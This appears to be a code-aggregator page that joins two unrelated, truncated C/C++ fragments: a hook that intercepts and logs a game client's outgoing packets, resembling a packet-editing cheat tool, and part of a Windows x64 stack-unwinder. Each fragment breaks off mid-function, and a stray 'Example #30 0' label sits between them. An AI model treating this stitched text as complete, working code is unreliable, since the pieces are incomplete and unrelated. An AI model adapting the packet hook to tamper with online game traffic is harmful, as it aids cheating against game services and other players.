VOID (__fastcall * _Encode4)(__inout COutPacket* oPacket, __in DWORD dwEDX, __in DWORD dw) = NULL;
VOID (__fastcall * _EncodeString)(__inout COutPacket* oPacket, __in DWORD dwEDX, __in LPCSTR lpcsz) = NULL;
VOID (__fastcall * _EncodeBuffer)(__inout COutPacket* oPacket, __in DWORD dwEDX, __in_bcount(uLength) LPBYTE pb, __in UINT uLength) = NULL;

WORD trace_opcode = 0x0;
bool bTrace = false;
bool bTrace_in = true;
VOID __fastcall InitPacket(__inout COutPacket* oPacket, __in DWORD dwEDX, __in LONG nType)
{
	if (nType != INT_MAX && thisPe->show_send)
	{
		WORD wHeader = *oPacket->lpwHeader;
		int i;
		blackType type = thisPe->black_list->find(wHeader, true , i);
		if ((type.edit == NONE)||(type.edit == SCRIPT))
		{
			QStructItem* st_item = new QStructItem(NULL);
			thisPe->struct_Logger->SaddItem(oPacket,st_item);
Example #30
0
    if ((UnwindInfo->Flags & AMD64_UNW_FLAG_CHAININFO) != 0)
    {
        if ((UnwindInfo->CountOfCodes & 1) != 0)
        {
            UnwindInfoSize += sizeof(AMD64_UNWIND_CODE);
        }
        UnwindInfoSize += sizeof(_IMAGE_RUNTIME_FUNCTION_ENTRY);
    }

    return UnwindInfoSize;
}

HRESULT
DbsX64StackUnwinder::DbhStart(__inout LPSTACKFRAME64 StackFrame,
                              __in DWORD DbhVersion,
                              __in_bcount(DbhStorageBytes) PVOID DbhStorage,
                              __in DWORD DbhStorageBytes,
                              __inout PVOID Context)
{
    HRESULT Status;

    if ((StackFrame->AddrPC.Offset &&
         StackFrame->AddrPC.Mode != AddrModeFlat) ||
        (StackFrame->AddrStack.Offset &&
         StackFrame->AddrStack.Mode != AddrModeFlat) ||
        (StackFrame->AddrFrame.Offset &&
         StackFrame->AddrFrame.Mode != AddrModeFlat))
    {
        return E_INVALIDARG;
    }